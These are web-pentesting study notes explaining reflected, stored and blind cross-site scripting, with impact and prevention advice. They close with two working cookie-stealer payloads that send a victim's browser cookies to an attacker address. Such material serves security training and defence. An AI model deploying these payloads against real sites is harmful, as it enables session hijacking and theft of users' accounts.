How can stored XSS vulnerability lead to cookie stealing?

We covered brief introduction to both types of cross site scripting vulnerability (XSS), reflected & stored xss, and demonstrated a practical scenario showcasing intercepting HTTP requests and modifying request headers and other form parameters to include XSS payloads that when injected and stored in the target website database will lead to the transfer of the user’s cookies to the attacker everytime the user visits the vulnerable page.

We also covered and talekd about Blind Cross Site Scripting Vulnerability. Blind XSS is same as Stored XSS but you can’t see the payload working or if it actually stored in the database of the website and that’s because the payload is executed by another page, instance, application or even a different user. We explained a demo scenario used to show how blind XSS, upon disocvered, can be used to steal and grap browser cookies.

Web Hacking & Pentesting Study Notes

Windows Active Directory Penetration Testing Study Notes

What is XSS

Cross-site scripting (XSS) is a web application vulnerability that allows attackers to inject scripts into webpages. There are two types of XSS attacks. The primary protection against XSS attacks is at the web application with sophisticated input validation techniques. OWASP strongly recommends the use of a security encoding library. When implemented, an encoding library will sanitize HTML code and prevent XSS attacks.

Reflected XSS

This starts by an attacker crafting a malicious email and then encouraging a user to click it. The malicious URL is often placed within a phishing email, but it could also be placed on a public website, such as a link within a comment.
When the user clicks the malicious URL, it sends an HTTP request to a server with the user’s cookie which the attacker can use to hijack the user/admin account through what’s called session hijacking.
To summarize, an attacker needs to trick a victim into clicking a URL to execute their malicious payload.

Stored XSS

It goes by the same logic of the reflected XSS except that the malicious Java script code is directly stored in the web application database and is executed when the user/admin/attacker visits the page where the attacker injected the code. The result is the attacker will grab the session cookie or even establish reverse shell connection.
This often happens when a website allows user input that is not sanitized (remove the “bad parts” of a users input) when inserted into the database.
A attacker creates a payload in a field when signing up to a website that is stored in the websites database. If the website doesn’t properly sanitize that field, when the site displays that field on the page, it will execute the payload to everyone who visits it.

Blind XSS

Blind cross-site scripting is one type of XSS. Usually, it happens when the attacker saves their payload on the server and uses the backend application to reflect it back to the victim. For instance, an attacker can use feedback forms to submit a malicious payload. The attacker’s payload will then be executed once the backend user or administrator of the application opens the form the attacker provided through the backend application. Although it can be challenging to verify blind cross-site scripting in real-world situations, XSS Hunter is one of the best tools for this task.

How Blind XSS Works

• Example: A user submits a ticket containing a malicious payload.
• While the ticket page does not execute the payload, it gets stored on the server.
• When the admin later reviews the ticket (on a different page or application), the payload is executed without the attacker knowing the exact response.

Entry Points for XSS Vulnerabilities

• Blind XSS is often tested through input forms such as:
  • Registration forms
  • Comment sections
  • Search fields
• The goal is to inject the malicious payload and track its execution when someone else, like an admin, interacts with it.

Example Scenario

• A user submits a support ticket with a malicious payload.
• The admin, while reviewing the ticket, unknowingly triggers the payload on the report page, leading to the theft of the admin’s cookies.
• The attacker can then use these cookies to gain elevated access to the system.

Detecting XSS

Most XSS vulnerabilities can be verified by inserting a payload that triggers random JavaScript execution in your own browser. Using the alert() function for this reason has long been standard procedure because it is brief, safe, and difficult to overlook when called successfully. In fact, using alert() in the browser of a fictitious victim solves most of our XSS labs.

Sadly, there’s a small issue if you use Chrome. Cross-origin iframes are not allowed to call alert() starting with version 92 (July 20, 2021). You may occasionally need to utilize a different PoC payload because these are used to build some of the more sophisticated XSS attacks. I advise using the print() function in this case. Check read our blog post on the topic to find out more about this change and the reasons we appreciate print().

XSS Impact

The application’s functionality, data, and compromised user’s status all influence how much of an XSS attack actually affects. As an illustration:

• The effect will frequently be negligible in a brochureware application when all users are anonymous and all data is visible to the public.

• The impact is frequently severe in an application that contains sensitive data, including emails, bank transactions, or medical records.

• The consequences will usually be catastrophic if the compromised user has elevated privileges within the application. This will enable the attacker to seize complete control of the weak application and jeopardize the privacy of all users and their data.

How to prevent against XSS Attacks

• Filter input on arrival. 
• Encode data on output. 
• Use appropriate response headers.
• Content Security Policy. 

Example Cookie Stealer Payloads
[1]

<script>var i=new Image(); i.src="https://10.10.14.19:8000/?cookie="+btoa(document.cookie);</script>

[2]

<script>fetch('http://10.10.14.19:8000/?cookie=' + btoa(document.cookie));</script>

Check out the video below for detailed explanation.